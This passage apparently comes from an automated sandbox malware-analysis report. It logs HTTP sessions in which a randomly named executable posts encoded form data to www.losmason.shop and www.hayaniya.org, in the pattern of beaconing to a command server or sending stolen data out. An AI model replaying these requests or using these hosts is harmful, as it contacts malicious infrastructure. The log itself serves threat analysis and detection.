37 43 71 48 38 73 64 34 30 62 65 62 45 7a 79 67 75 62 41 6d 79 4c 52 47 62 49 70 79 37 4e 6a 30 78 67 77 6c 54 4c 49 54 7a 43 58 68 54 44 50 78 79 2f 78 78 68 43 79 46 68 68 2b 39 2b 63 39 42 70 57 30 30 43 77 38 4c 51 67 41 78 68 52 51 38 75 79 57 38 39 52 62 35 49 51 4b 75 53 35 63 76 52 43 65 38 54 64 61 48 31 32 68 34 6b 6f 6a 42 45 Data Ascii: QhKxhNP=Ed4ppQsMn5Ty/hqoaQw8tLGkCOHLnboo7uPzy2/WWPS1ASPBI/y+Y+lw8V09KRmA31Xj1w/jUxQHuJyGohEg2QdNht5Gao/bGZlX2o4i3CM7CqH8sd40bebEzygubAmyLRGbIpy7Nj0xgwlTLITzCXhTDPxy/xxhCyFhh+9+c9BpW00Cw8LQgAxhRQ8uyW89Rb5IQKuS5cvRCe8TdaH12h4kojBE
Nov 28, 2024 09:14:27.131989002 CET	565	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Nov 2024 08:14:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://www.losmason.shop/s15n/ CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=8rjfd1uH4ls1.DBWCn7wq54ZZVcAbVJISo9JahFpNUY-1732781666-1.0.1.1-OaGxq_Ncwk1pusH6nOuZBVJquc2Bs5lfeFpzDjHhJucfF5PrcoNPknnNUCZIcFZEY84PhtlgSNIvoszCdmO8Xw; path=/; expires=Thu, 28-Nov-24 08:44:26 GMT; domain=.www.losmason.shop; HttpOnly Server: cloudflare CF-RAY: 8e98e789f9530f41-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49859	104.18.73.116	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:28.590991020 CET	1836	OUT	POST /s15n/ HTTP/1.1 Host: www.losmason.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.losmason.shop Referer: http://www.losmason.shop/s15n/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 45 64 34 70 70 51 73 4d 6e 35 54 79 2f 68 71 6f 61 51 77 38 74 4c 47 6b 43 4f 48 4c 6e 62 6f 6f 37 75 50 7a 79 32 2f 57 57 50 71 31 63 33 62 42 4c 65 79 2b 5a 2b 6c 77 6a 6c 30 38 4b 52 6e 43 33 31 66 6e 31 77 7a 56 55 79 34 48 68 4c 4b 47 71 51 45 67 76 41 64 4e 6a 74 35 46 56 49 2f 4b 47 5a 31 54 32 6f 6f 69 33 43 4d 37 43 73 37 38 38 38 34 30 55 2b 62 4c 30 79 67 79 52 67 6e 56 4c 52 65 68 49 70 32 72 4b 56 45 78 67 51 31 54 59 75 50 7a 44 33 68 56 57 50 78 36 2f 78 4e 2b 43 7a 73 50 68 2f 4a 55 63 2b 68 70 48 51 31 43 73 2b 44 32 31 51 74 53 44 68 67 5a 6e 6d 38 61 66 62 35 62 51 4c 36 33 39 50 54 70 44 4f 59 38 55 4f 47 42 31 6c 4a 32 74 33 73 73 57 52 2b 35 65 4f 36 56 64 2f 4c 50 34 76 61 43 34 4c 45 53 77 44 43 6a 50 59 47 39 55 50 4a 51 69 45 63 69 35 72 30 45 36 38 43 57 43 6f 6d 4b 37 33 2b 74 39 45 2b 71 79 51 4e 30 68 47 46 57 42 51 6f 2b 4e 49 32 42 4f 34 2b 64 69 54 62 59 66 38 57 6b 39 72 56 58 59 5a 46 36 71 6f 7a 71 61 50 67 6a 38 78 47 71 41 53 71 61 54 49 [TRUNCATED] Data Ascii: QhKxhNP=Ed4ppQsMn5Ty/hqoaQw8tLGkCOHLnboo7uPzy2/WWPq1c3bBLey+Z+lwjl08KRnC31fn1wzVUy4HhLKGqQEgvAdNjt5FVI/KGZ1T2ooi3CM7Cs788840U+bL0ygyRgnVLRehIp2rKVExgQ1TYuPzD3hVWPx6/xN+CzsPh/JUc+hpHQ1Cs+D21QtSDhgZnm8afb5bQL639PTpDOY8UOGB1lJ2t3ssWR+5eO6Vd/LP4vaC4LESwDCjPYG9UPJQiEci5r0E68CWComK73+t9E+qyQN0hGFWBQo+NI2BO4+diTbYf8Wk9rVXYZF6qozqaPgj8xGqASqaTIsppoMIBQU++e/IOweSFd9PYfFSE2VMDS+dk5jCPqjHKdWmcbuU/mECGmKBv8ZmjqRFcKVnuBsajrhvylV65gH/36IWTIc4SdrE1RuSC/ru9fiURBSZ2Da7Qoc7sU0dvY7KbKvHwYLN30/U05fNka4mGE/1Bfw0CpwsQOszoKMclNfnaNetrL3Bnn2etBYhnGzOnEurefCBlmM5ag1TvhkwfGZ2qxuKD1BLsN1D7pD7p5uqe2tAdWB+JrrBy8WWXrXpFlBehbRaxDn8ABFbYn6SJXtyq3QtN6L4dZOeKcaz6S0ya895pmAkp1D9P7qw+k/fZ82qMr8KdpPjarSe7DBgZFd2MIQ4Ljh38+ksLr1QKb7kiNsvOV1G0Pp23r+13+JtIcrDHSHUHud/RTOz/hmWb2ST4lDAh9UwgC6WzjNV4C+9lK+9tltSUqX0zUe7cqgqgmW3jHEV6PaCAZ0jYBpw80B+y3H0sGEOosHSQ6cGEhtejQzDkKll5pRtMcv5YOi5neyWLD6xb7ZTyWr9+XDt4bizXM67ZvkRaPg61WZItruQ/hBv3MQjHiHd6diJfG8mqlztBhFuGPgy8Na916Z1p69SC3G1aKHlFjI3VNx5hjpro8HvD5q2jVRRS3rpHxSme1+bl4fP1PAJhHa82Re89S+MP8ou2a+v [TRUNCATED]
Nov 28, 2024 09:14:29.851568937 CET	565	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Nov 2024 08:14:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://www.losmason.shop/s15n/ CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=79GNL7qBjZ1HFD3zF3vWe0YbT6oOA0lWQ3wWmRFt3ug-1732781669-1.0.1.1-Rly96edvW6YqPhW0_HLr7_3PgShU_wAfVMPTtz6mRMDFNQVRVG2e7Sr3YXKq1v5OJAB7ffkk6u6W.DAz.hzE9g; path=/; expires=Thu, 28-Nov-24 08:44:29 GMT; domain=.www.losmason.shop; HttpOnly Server: cloudflare CF-RAY: 8e98e79afbe24407-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49866	104.18.73.116	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:31.239773035 CET	543	OUT	GET /s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY+3nQdNuELRDWQb2uefNArAI9Jzm+wUv6iBr2b0gwhreB6wQHxTYP3MQRZc2DBo1D75Es8xJLJq3ZosxOeO3P23AwVQ3aXA==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.losmason.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:14:32.413784027 CET	721	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 28 Nov 2024 08:14:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://www.losmason.shop/s15n/?QhKxhNP=JfQJqlQL4YuujxfZFicS9Y3zSvzh5uc29LPY+3nQdNuELRDWQb2uefNArAI9Jzm+wUv6iBr2b0gwhreB6wQHxTYP3MQRZc2DBo1D75Es8xJLJq3ZosxOeO3P23AwVQ3aXA==&Yby=d2ydCtHpb8 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=MqclvvysC9ygRf26G1VadZ0gddqDfvUJRXirjWimmKc-1732781672-1.0.1.1-di1y49ge.tufH9SXqcoSag6iWbWluLsRvlH7Jq7gPnMENGDS6t3EcsxNp4lOUQja.ZbLpZQKIitoFaXbCa5tCQ; path=/; expires=Thu, 28-Nov-24 08:44:32 GMT; domain=.www.losmason.shop; HttpOnly Server: cloudflare CF-RAY: 8e98e7ab08ee8cc5-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49882	192.185.147.100	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:38.398060083 CET	796	OUT	POST /yf1h/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/yf1h/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 56 58 42 6f 37 4d 76 38 36 77 2f 78 72 68 67 6f 58 36 71 57 44 53 61 68 6a 4c 34 76 69 41 5a 57 73 63 2b 48 48 34 41 6b 73 6b 36 55 66 79 67 33 4c 61 30 49 41 31 49 6d 53 54 56 6a 4e 4e 2b 31 4d 75 4c 69 6d 53 44 64 77 65 69 6b 67 43 2b 37 53 61 2f 61 73 4e 71 4d 4b 44 47 47 4e 44 76 59 46 6f 44 6c 43 70 4f 61 7a 2f 58 6b 6e 30 2b 38 62 4d 59 7a 33 46 76 67 6e 72 46 33 43 59 36 55 4a 56 74 4e 30 77 2f 32 6a 55 4f 7a 6d 75 73 4e 7a 76 34 30 54 78 46 45 63 79 76 65 31 5a 6e 65 76 37 76 72 71 65 48 63 43 67 53 72 59 43 68 4d 77 68 36 4d 49 44 74 76 34 66 4c 71 6a 5a 50 6d 78 4c 72 35 66 5a 55 3d Data Ascii: QhKxhNP=VXBo7Mv86w/xrhgoX6qWDSahjL4viAZWsc+HH4Aksk6Ufyg3La0IA1ImSTVjNN+1MuLimSDdweikgC+7Sa/asNqMKDGGNDvYFoDlCpOaz/Xkn0+8bMYz3FvgnrF3CY6UJVtN0w/2jUOzmusNzv40TxFEcyve1Znev7vrqeHcCgSrYChMwh6MIDtv4fLqjZPmxLr5fZU=
Nov 28, 2024 09:14:39.920085907 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:14:39 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z
Nov 28, 2024 09:14:39.920327902 CET	1236	IN	Data Raw: b3 5d b5 b7 77 06 44 38 41 36 ee ec 6c 31 3e da 85 19 d9 6a a4 e1 00 54 f9 3b e2 a8 dd e6 7e 73 1f de 98 9f 60 b8 03 75 55 b0 7c 06 84 fa 81 da 03 07 a0 66 1f c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 Data Ascii: ]wD8A6l1>jT;~s`uU\|fw7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$J
Nov 28, 2024 09:14:39.920341969 CET	1236	IN	Data Raw: 33 cc e9 0c a4 2e 7d 6b 1a 21 00 a2 60 b6 15 b1 c4 a7 3c b6 02 60 82 48 e4 09 01 3a 47 84 91 6c 33 21 2d ca 1d ab ec 0d 5d 2d 4f e6 85 6e 03 1e 3f 03 32 27 ad 46 bf d1 6d dd 37 42 e2 52 3c b9 0f 5c de 37 2c 58 37 5f 24 5f 0f a6 e5 b0 f4 6e 31 a2 Data Ascii: 3.}k!`<`H:Gl3!-]-On?2'Fm7BR<\7,X7_$_n1wvPRFfF;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$*f2d]( f9F]Apa$Zg
Nov 28, 2024 09:14:39.921283007 CET	1236	IN	Data Raw: 7f 23 f8 83 43 e2 dd e6 be 51 fc df 68 af 5f b1 ac 76 09 89 00 09 f0 a9 3f bd 66 4d 75 77 5b 35 fc ca 68 39 b9 ae 76 eb 64 91 a8 4c 95 ee 6a 39 ea 94 3d da bd de be b1 fc b4 f6 f6 17 89 ab 33 5a db 26 38 92 c6 17 6e 07 95 67 07 d3 80 48 b2 db a0 Data Ascii: #CQh_v?fMuw[5h9vdLj9=3Z&8ngH1kK!>2_Rw5X}`dg2}`F}"a\|`8+"7C?7\z0 qAZi97+!61rKBtAIH~YYFw^R8rwU
Nov 28, 2024 09:14:39.921294928 CET	1236	IN	Data Raw: 6d 16 1b b5 06 ed de 68 34 1c f6 bb 6f b9 95 14 ef 42 5f 56 7f 55 f5 75 1a 9d b7 db d1 67 c2 c6 ec 9d 99 d3 6d 36 99 bb 9e e6 56 ef 39 6c de cc 41 87 cd ea 5e c3 41 ab d7 ed b4 df 61 2f 68 72 33 8b 41 a3 f5 cd 5a ad d1 75 36 0b 08 63 02 2d f7 bb Data Ascii: mh4oB_VUugm6V9lA^Aa/hr3AZu6c-Z*Zk`je\|}}D"OEnv/y00Fb-5thpDg)MXbzOfn3={:O7t+^U<xgPs31{7;.#g
Nov 28, 2024 09:14:39.922418118 CET	1236	IN	Data Raw: d7 85 bf 1e fc f5 4b 3e 97 ba 3d 30 1c 4c a5 c8 a7 d8 c2 9d 5d 9c b1 d3 c8 09 e1 2a 46 58 12 6c 60 60 29 3b 1c 80 e7 0a dc 97 2e a7 09 01 8e 9a 6e 93 e4 1d ef dc 19 5b b1 9a 31 72 98 9b 01 c1 ee e1 ce ce 38 df c5 61 38 8e 27 66 a6 15 22 a5 90 dd Data Ascii: K>=0L]*FXl``);.n[1r8a8'f"fFIb%B/x(!27= 0#0c-8 DmKp^zKONYxFLMXXeOp;""saje@(>HB;b~3{ERD$
Nov 28, 2024 09:14:39.922430038 CET	1236	IN	Data Raw: 53 fd bb bf 51 d1 6d 56 7c 71 e1 fc e4 b3 b3 8a f7 48 df ea b6 46 e4 04 be 13 86 56 ff 72 0c 0a db 8c a8 b7 1e a1 7f 36 a2 17 a0 f9 ff 60 e2 3b de e9 ca 13 b5 76 8f 40 95 2a f8 71 a7 fd 68 a4 ae 0c fd b1 78 75 98 88 c9 d1 e2 9e ef 38 b0 dd bc fe Data Ascii: SQmV\|qHFVr6`;v@qhxu8NiXa:RL#(&X:oS7v00,Z ]a,=!2}5JEmH`vs:!}4BNLsGGIMi\b(eD;$%rb/
Nov 28, 2024 09:14:39.923332930 CET	1236	IN	Data Raw: e1 ee d1 d2 5c a9 cf 4f 45 1d fd 38 5b 8a 1b 2e bc 79 c6 8c 6a 4c 39 91 46 d5 c7 92 90 23 1f 47 08 34 48 b8 4b dc b2 cb b6 26 59 c1 6a 07 d4 6a 36 d7 c4 b1 91 b6 5d 1b 5d cf f1 5a 03 5c 21 7b d5 b3 4a b6 6e ac 77 ac df 70 4a 5d 9f 28 34 95 38 aa Data Ascii: \OE8[.yjL9F#G4HK&Yjj6]]Z\!{JnwpJ](48(aX-an}AJf;0>b+gXfXQoV;"r#mFTmHmN2[XTS@=B1Qr}%AV[8s(H.`{L=>-&0@O?hnV
Nov 28, 2024 09:14:39.923345089 CET	1236	IN	Data Raw: 6c fe 64 c9 d2 d8 4a 58 f6 cd ed 2b 10 a6 f0 a9 e0 22 9c 6d f2 e5 60 45 7c 21 ab 91 4e 6f 30 b8 8c b4 b2 ac a2 56 bb 5b 61 af c2 42 21 a8 82 c2 3a 16 16 d2 f9 2b 30 f0 0a d0 ae eb a5 02 fc 0a 60 9d 24 56 22 ac 81 ba ee 0f 70 8c 9c 80 32 57 12 5e Data Ascii: ldJX+"m`E\|!No0V[aB!:+0`$V"p2W^qoX}"@H7(BpV4$w!Jb;WXe&UuyWuV8/VuNf]u.(\|hUeL_?;m6!vZrPN
Nov 28, 2024 09:14:39.924310923 CET	1236	IN	Data Raw: af 92 3a 42 15 97 b3 14 93 dd 41 1b fa d2 49 de aa be ae 4b 26 30 f7 12 88 fc 21 7d 05 44 a6 df 81 c8 80 ca f4 8d 01 3f df 81 e6 5e e7 f4 a6 7f 4a bf cf a4 77 8b f4 76 87 3f 12 bb 6b 24 3a cb 24 7b 54 55 e4 46 6a 11 ee 95 6a 5f d8 6f 21 e1 6d ac Data Ascii: :BAIK&0!}D?^Jwv?k$:${TUFjj_o!md7)oW5vgiU:yhX9D<^_A%gc+a7@pF:2n'B8"*4\J5PJ+A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49888	192.185.147.100	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:14:41.058192015 CET	816	OUT	POST /yf1h/ HTTP/1.1 Host: www.hayaniya.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.hayaniya.org Referer: http://www.hayaniya.org/yf1h/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 56 58 42 6f 37 4d 76 38 36 77 2f 78 71 41 51 6f 45 4a 43 57 42 79 61 75 39 62 34 76 74 67 5a 53 73 63 79 48 48 39 77 53 76 52 53 55 66 54 51 33 4d 59 4d 49 4e 56 49 6d 47 44 56 69 44 74 2b 41 4d 75 47 64 6d 54 2f 64 77 65 6d 6b 67 48 61 37 54 70 6e 5a 73 64 71 4f 4c 7a 47 45 54 7a 76 59 46 6f 44 6c 43 70 79 38 7a 2f 50 6b 6b 47 71 38 5a 75 38 77 30 46 76 6a 6b 72 46 33 56 6f 36 51 4a 56 74 2f 30 78 69 74 6a 53 4b 7a 6d 73 6b 4e 32 75 34 33 45 68 46 4f 59 79 75 75 6c 5a 7a 56 6d 6f 6e 32 75 49 4f 44 58 47 53 39 64 30 51 6d 71 44 79 6b 62 6a 42 58 6f 4d 44 64 79 70 75 50 72 6f 37 4a 42 4f 42 67 58 78 70 36 76 2b 68 64 4a 70 68 31 31 42 49 4e 6e 49 6b 78 Data Ascii: QhKxhNP=VXBo7Mv86w/xqAQoEJCWByau9b4vtgZSscyHH9wSvRSUfTQ3MYMINVImGDViDt+AMuGdmT/dwemkgHa7TpnZsdqOLzGETzvYFoDlCpy8z/PkkGq8Zu8w0FvjkrF3Vo6QJVt/0xitjSKzmskN2u43EhFOYyuulZzVmon2uIODXGS9d0QmqDykbjBXoMDdypuPro7JBOBgXxp6v+hdJph11BINnIkx
Nov 28, 2024 09:14:42.540067911 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Nov 2024 08:14:42 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://hayaniya.org/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 e4 b2 eb 92 dc c6 95 2e fa 9b fd 14 10 14 24 bb ed ce 42 dd 2f cd aa f6 9e b1 e5 73 bc c3 de 72 58 9a f0 9e 90 74 7a 27 80 04 90 ea 44 26 94 48 74 75 89 d3 3f 24 91 34 87 6f 31 e1 b0 5b e4 11 ad e1 a6 ad 08 9e 27 41 bd cd 59 40 02 55 a8 2a 54 5f c8 6e 1d 8f 0f a5 46 ad 5c f7 ef 5b df f8 bd 5f 7c f8 f3 8f ff f5 b7 1f 18 81 0a d9 e1 ce 38 fb 31 5c 2a 27 a6 54 cc 34 18 e6 fe c4 c4 d2 cc 42 04 bb 87 3b 77 c6 21 51 d8 70 02 2c 63 a2 26 e6 bf 7c fc 4b 34 34 0d 6b 11 e1 38 24 13 f3 84 92 69 24 a4 32 0d 47 70 45 38 64 4e a9 ab 82 89 4b 4e a8 43 50 fe d8 37 28 a7 8a 62 86 62 07 33 32 69 15 7d 18 e5 c7 86 24 6c 62 46 52 78 94 11 d3 08 24 f1 26 66 a0 54 74 60 59 7e 18 f9 0d 21 7d eb d4 e3 56 ab a6 8a 72 df c6 ce f1 5a 59 80 67 98 d3 19 d6 a5 21 93 91 d3 88 82 a8 28 57 54 31 72 98 9e cf 1f a5 7f 9b 7f 95 be 4c 9f 1b e9 ff 33 7f 96 be 32 e6 8f e7 4f d3 ef e0 ef fb f4 79 c3 b8 f7 fe b0 dd 6a 3d 30 f2 cc ef e6 8f d3 37 90 f4 5c 3f 5f a4 6f e0 f7 e9 fc c9 d2 75 9e be [TRUNCATED] Data Ascii: 1faa.$B/srXtz'D&Htu?$4o1['AY@UT_nF\[_\|81\'T4B;w!Qp,c&\|K44k8$i$2GpE8dNKNCP7(bb32i}$lbFRx$&fTt`Y~!}VrZYg!(WT1rL32Oyj=07\?_ouN_Yo<:sl;Ka_w?'($azX~/IK0=vg=aS(W:(K;0:f3:5ZllU<rU"cTDQ+*%peTL(No:uyxw`kp#TW:RihP\|N?"JQxh8&"yPVSh.V^5}:hj&9UP~PwtCHC&nU>a<y@)o\|I1h;O3>hlx~q'FO;v>{x!}.{,8"!$VW4.'SxqYB>v$GJH+@+GF$\z
Nov 28, 2024 09:14:42.540267944 CET	1236	IN	Data Raw: b3 5d b5 b7 77 06 44 38 41 36 ee ec 6c 31 3e da 85 19 d9 6a a4 e1 00 54 f9 3b e2 a8 dd e6 7e 73 1f de 98 9f 60 b8 03 75 55 b0 7c 06 84 fa 81 da 03 07 a0 66 1f c3 1d 77 15 a4 37 f7 1e 68 00 d9 96 ff 42 b9 ea b4 ff 49 4a 3c db 25 0d 1f 76 ca 8e 08 Data Ascii: ]wD8A6l1>jT;~s`uU\|fw7hBIJ<%vn/'wmH @"H&D}v$8)4P1Ea4q4H4i7.\|x=4{%mg[mzbwnRIwM:AnW^&5$J
Nov 28, 2024 09:14:42.540281057 CET	1236	IN	Data Raw: 33 cc e9 0c a4 2e 7d 6b 1a 21 00 a2 60 b6 15 b1 c4 a7 3c b6 02 60 82 48 e4 09 01 3a 47 84 91 6c 33 21 2d ca 1d ab ec 0d 5d 2d 4f e6 85 6e 03 1e 3f 03 32 27 ad 46 bf d1 6d dd 37 42 e2 52 3c b9 0f 5c de 37 2c 58 37 5f 24 5f 0f a6 e5 b0 f4 6e 31 a2 Data Ascii: 3.}k!`<`H:Gl3!-]-On?2'Fm7BR<\7,X7_$_n1wvPRFfF;w4x!1W jK\NQ`6hp-`UPl4aBQ3!5=2R$*f2d]( f9F]Apa$Zg
Nov 28, 2024 09:14:42.541014910 CET	672	IN	Data Raw: 7f 23 f8 83 43 e2 dd e6 be 51 fc df 68 af 5f b1 ac 76 09 89 00 09 f0 a9 3f bd 66 4d 75 77 5b 35 fc ca 68 39 b9 ae 76 eb 64 91 a8 4c 95 ee 6a 39 ea 94 3d da bd de be b1 fc b4 f6 f6 17 89 ab 33 5a db 26 38 92 c6 17 6e 07 95 67 07 d3 80 48 b2 db a0 Data Ascii: #CQh_v?fMuw[5h9vdLj9=3Z&8ngH1kK!>2_Rw5X}`dg2}`F}"a\|`8+"7C?7\z0 qAZi97+!61rKBtAIH~YYFw^R8rwU
Nov 28, 2024 09:14:42.541028023 CET	1236	IN	Data Raw: 36 76 8e 7d 29 12 ee 3e 5c 9a 75 73 17 15 97 f5 be 8a 0e 17 25 15 df bb ac 74 95 01 75 7b 25 21 e5 22 29 e9 c2 a1 0d cc 43 e9 9a 5f 48 cc fd 77 e3 ec 5a 93 2e df b4 d8 68 81 52 12 f7 26 d7 ab 69 5f a7 31 22 67 0b e6 f1 2c 4b 2f 45 41 e3 40 fb de Data Ascii: 6v})>\us%tu{%!")C_HwZ.hR&i_1"g,K/EA@IgeS,CGQ2i5a/XK/%2b&v[gB'70lu$>ej&EceeN4gU[O)CKpau\4.>yy]MxZs`Iv
Nov 28, 2024 09:14:42.541826010 CET	1236	IN	Data Raw: 98 bb c6 6e 88 4f 51 40 a8 1f a8 03 a3 d5 6c 77 a3 d3 bd b2 f5 c5 bb 76 ae 07 fc a6 ba 2d 91 5f 15 7a 81 fd 4a 0c f4 bb cd 2b 13 d0 be 51 02 ae dc ed dd 08 18 5b 4b 65 8f 19 e5 c7 86 24 6c 62 52 d8 cc 34 02 49 bc 89 19 28 15 c5 07 96 15 e0 19 e6 Data Ascii: nOQ@lwv-_zJ+Q[Ke$lbR4I(tB4WDXHEEQr~-Bio13u,Ooe"F[\h<?P@H68l`EGSF~4Q7K{<. \u'f5f.TG
Nov 28, 2024 09:14:42.541838884 CET	1236	IN	Data Raw: aa 97 7e 59 b4 38 18 74 2a be b8 54 f3 67 67 85 17 33 ea f3 a3 50 d8 94 91 95 86 0e a0 20 72 a5 6b 9e 7b 59 52 be ec 91 c2 36 5b 88 fa da 3b eb 9f 8d e8 e6 f6 7a d8 ca f6 b7 37 2c 8e b0 f3 23 4d f9 b1 f8 d3 c3 7e 24 fe 40 eb 3e 39 b2 85 74 89 3c Data Ascii: ~Y8tTgg3P rk{YR6[;z7,#M~$@>9t<I\|tR"gE__#E?R!:8v'_+.\|\|V;4QUS`zf.VMuf1U1K<0ecq<1#!J
